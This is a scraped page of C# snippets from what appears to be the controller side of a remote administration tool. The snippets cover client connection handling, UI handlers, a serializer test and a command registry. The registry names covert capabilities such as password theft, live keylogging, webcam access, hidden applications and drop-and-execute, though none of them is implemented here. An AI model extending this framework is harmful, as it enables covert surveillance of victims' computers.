public Commander(OnlineClientInformation clientInformation, ConnectionManager connectionManager, Sender sender)
        {
            ConnectionInfo = new ConnectionInfo(clientInformation, sender, connectionManager, this);
            Commands       = new List <Command>
            {
                new ConsoleCommand(),
                new FunCommand(),
                new TaskManagerCommand(),
                new PasswordsCommand(),
                new FileExplorerCommand(),
                new MessageBoxCommand(),
                new AudioCommand(),
                new CodeCommand(),
                new RegistryCommand(),
                new ActiveConnectionsCommand(),
                new UninstallProgramsCommand(),
                new EventLogCommand(),
                new ReverseProxyCommand(),
                new WebcamCommand(),
                new AudioVolumeControlCommand(),
                new LivePerformanceCommand(),
                new UserInteractionCommand(),
                new LiveKeyloggerCommand(),
#if DEBUG
                new HvncCommand(),
#endif
                new HiddenApplicationCommand(),
                new StartupManagerCommand(),
                new WindowsCustomizerCommand(),
                new SystemRestoreCommand(),
                new TextChatCommand(),
                new ComputerInformationCommand(),
                new RemoteDesktopCommandLocal(),
                new WindowManagerCommand(),
                new DeviceManagerCommand(),
                new ClientCommandsCommand(),
                new ConnectionInitializerCommand(),
                new VoiceChatCommand(),
                new WindowsDriversCommand(),
                new DropAndExecuteCommand(),
                new ClipboardManagerCommand()
            };

            Commands.AddRange(
                PluginManager.Current.LoadedPlugins.OfType <CommandAndViewPlugin>()
                .Select(x => (Command)Activator.CreateInstance(x.CommandType)));

            foreach (var plugin in PluginManager.Current.LoadedPlugins.OfType <FactoryCommandPlugin>())
            {
                if (clientInformation.Plugins.FirstOrDefault(x => x.Guid == plugin.PluginInfo.Guid)?.IsLoaded == true)
                {
                    Commands.Add((Command)Activator.CreateInstance(plugin.CommandType));
                }
            }

            Commands.ForEach(x => x.Initialize(ConnectionInfo));
            _commandDictionary = Commands.ToDictionary(x => x.Identifier, y => y);
            _lockObjects       = new Dictionary <Command, object>();
            _commandSettings   = new Dictionary <Command, CommandSettings>();
        }
Exemple #2
0
 public ClientController(OnlineClientInformation clientInformation, Sender sender,
                         ConnectionManager connectionManager)
 {
     Commander         = new Commander(clientInformation, connectionManager, sender);
     Client            = clientInformation;
     ConnectionManager = connectionManager;
     ClientCommands    = connectionManager;
 }
 public ConnectionInfo(OnlineClientInformation clientInformation, Sender sender,
                       ConnectionManager connectionManager, Commander commander)
 {
     _connectionManager = connectionManager;
     _commander         = commander;
     Sender             = sender;
     ClientInformation  = clientInformation;
 }
Exemple #4
0
 void ConnectionManager_Current_ClientConnected(object sender, OnlineClientInformation e)
 {
     if (e.Group == groupName && Activity != null)
     {
         clients = ConnectionManager.Current.Clients.Where(x => x.Group == groupName).ToList();
         Activity.RunOnUiThread(() => ((ClientListItem_Adapter)ListAdapter).Change());
     }
 }
Exemple #5
0
 public void OnlineClientInformationMenuItemClicked(MenuItem menuItem, OnlineClientInformation clientInformation)
 {
     if (_onlineClientMenuEventHandler.ContainsKey(menuItem))
     {
         _onlineClientMenuEventHandler[menuItem].Invoke(this,
                                                        new OnlineClientMenuItemClickedEventArgs(Application.Current.MainWindow, clientInformation));
     }
 }
Exemple #6
0
 public ClientConfig GetClientConfig(OnlineClientInformation onlineClientInformation)
 {
     return(DataTransferProtocolFactory.ExecuteFunction <ClientConfig>("GetClientConfig", null,
                                                                       new List <Type>(BuilderPropertyHelper.GetAllBuilderPropertyTypes())
     {
         typeof(ClientConfig)
     },
                                                                       onlineClientInformation.Id));
 }
        public void NewClientConnected(OnlineClientInformation onlineClientInformation)
        {
            onlineClientInformation.OnlineSince = onlineClientInformation.OnlineSince.ToLocalTime();

            var viewModel = new ClientViewModel(onlineClientInformation);

            viewModel.Update(onlineClientInformation);
            _clientData.Add(viewModel, onlineClientInformation);
            Clients.Add(viewModel);

            if (!Groups.Contains(onlineClientInformation.Group))
            {
                Groups.Add(onlineClientInformation.Group);
            }
        }
        public void ClientConnected(OnlineClientInformation onlineClientInformation)
        {
            onlineClientInformation.OnlineSince = onlineClientInformation.OnlineSince.ToLocalTime();

            var client = Clients.FirstOrDefault(x => x.Id == onlineClientInformation.Id);

            if (client == null)
#if DEBUG
            { throw new Exception("Unknown client connected"); }
#else
            {
                NewClientConnected(onlineClientInformation);
                return;
            }
#endif

            client.Update(onlineClientInformation);
            _clientData[client] = onlineClientInformation;
        }
        public void ComplexSerializeAndDeserialize()
        {
            var serializer =
                new Serializer(new[]
                               { typeof(OnlineClientInformation), typeof(OfflineClientInformation), typeof(ClientInformation) });

            var testObject = new OnlineClientInformation
            {
                Id      = 23490223,
                Group   = "Garcon",
                Plugins =
                    new List <PluginInfo>
                {
                    new PluginInfo
                    {
                        Guid    = Guid.NewGuid(),
                        Name    = "Mega Hyper Plugin 1.20903 Ultimate",
                        Version = "1.2.3"
                    }
                },
                Port        = 32894435,
                OnlineSince = DateTime.Now,
                OsType      = OSType.Unknown
            };

            using (var testStream = new MemoryStream())
            {
                serializer.Serialize(testStream, testObject);
                testStream.Position = 0;
                var streamResult = (OnlineClientInformation)serializer.Deserialize(testStream);

                Assert.IsNotNull(streamResult);
                Assert.AreEqual(testObject.Id, streamResult.Id);
                Assert.AreEqual(testObject.Group, streamResult.Group);
                Assert.AreEqual(testObject.Plugins[0].Guid, streamResult.Plugins[0].Guid);
                Assert.AreEqual(testObject.Port, streamResult.Port);
                Assert.AreEqual(testObject.OsType, streamResult.OsType);
                Assert.AreEqual(testObject.OnlineSince, streamResult.OnlineSince);
            }
        }
Exemple #10
0
        public void LogInClient(OnlineClientInformation client)
        {
            if (_loginsPending.Contains(client))
            {
                return;
            }

            _loginsPending.Add(client);
            try
            {
                lock (Sender.WriterLock)
                {
                    Sender.Connection.BinaryWriter.Write((byte)FromAdministrationPackage.InitializeNewSession);
                    Sender.Connection.BinaryWriter.Write(4);
                    Sender.Connection.BinaryWriter.Write(BitConverter.GetBytes(client.Id));
                }
            }
            catch (ObjectDisposedException)
            {
            }

            OnPackageSent("InitializeNewSession", 9);
        }
        private void ConnectClient(OnlineClientInformation clientInformation)
        {
            var existingClient = Clients.FirstOrDefault(x => x.Id == clientInformation.Id);
            var clientInfo     = new LightClientInformationApp {
                Id               = clientInformation.Id,
                UserName         = clientInformation.UserName,
                OsType           = clientInformation.OsType,
                ApiVersion       = clientInformation.ApiVersion,
                IsAdministrator  = clientInformation.IsAdministrator,
                IsServiceRunning = clientInformation.IsServiceRunning,
                IpAddress        = clientInformation.IpAddress,
                OnlineSince      = clientInformation.OnlineSince,
                Language         = clientInformation.Language,
                IsOnline         = clientInformation.IsOnline,
                Group            = clientInformation.Group,
                OsName           = clientInformation.OsName
            };

            if (existingClient == null)
            {
                Clients.Add(clientInfo);
            }
            else
            {
                Clients[Clients.IndexOf(existingClient)] = clientInfo;
            }

            if (ClientListChanged != null)
            {
                ClientListChanged.Invoke(this, EventArgs.Empty);
            }

            if (ClientConnected != null)
            {
                ClientConnected.Invoke(this, clientInformation);
            }
        }
        public ClientController(Command command, ISender sender)
        {
            Client = new OnlineClientInformation
            {
                ApiVersion = 3,
                ClientPath = Path.Combine(AppDomain.CurrentDomain.BaseDirectory, "client.exe"),
                Port       = 1111,
                Plugins    =
                    new List <PluginInfo>
                {
                    new PluginInfo {
                        Guid = Guid.NewGuid(), IsLoaded = true, Name = "Test Plugin", Version = "1.0"
                    }
                },
                Version          = 10,
                Group            = "Debug",
                FrameworkVersion = 4.5,
                Id              = 0,
                IpAddress       = "127.0.0.1",
                IsAdministrator = false,
                IsComputerInformationAvailable = false,
                IsPasswordDataAvailable        = false,
                IsServiceRunning = false,
                Language         = "en",
                OsName           = "Microsoft Windows 10",
                OsType           = OSType.Windows10,
                OnlineSince      = DateTime.Now,
                UserName         = Environment.UserName,
                LoadablePlugins  = new List <LoadablePlugin>()
            };

            ClientCommands    = new ClientCommands();
            ConnectionManager = new ConnectionManager();
            StaticCommander   = new StaticCommander();
            Commander         = new Commander(command, new ConnectionInfo(Client, sender));
        }
Exemple #13
0
 public ConnectionInfo(OnlineClientInformation clientInformation, ISender sender)
 {
     ClientInformation = clientInformation;
     Sender            = sender;
 }
Exemple #14
0
 public OnlineClientMenuItemClickedEventArgs(Window window, OnlineClientInformation clientInformation)
     : base(window)
 {
     ClientInformation = clientInformation;
 }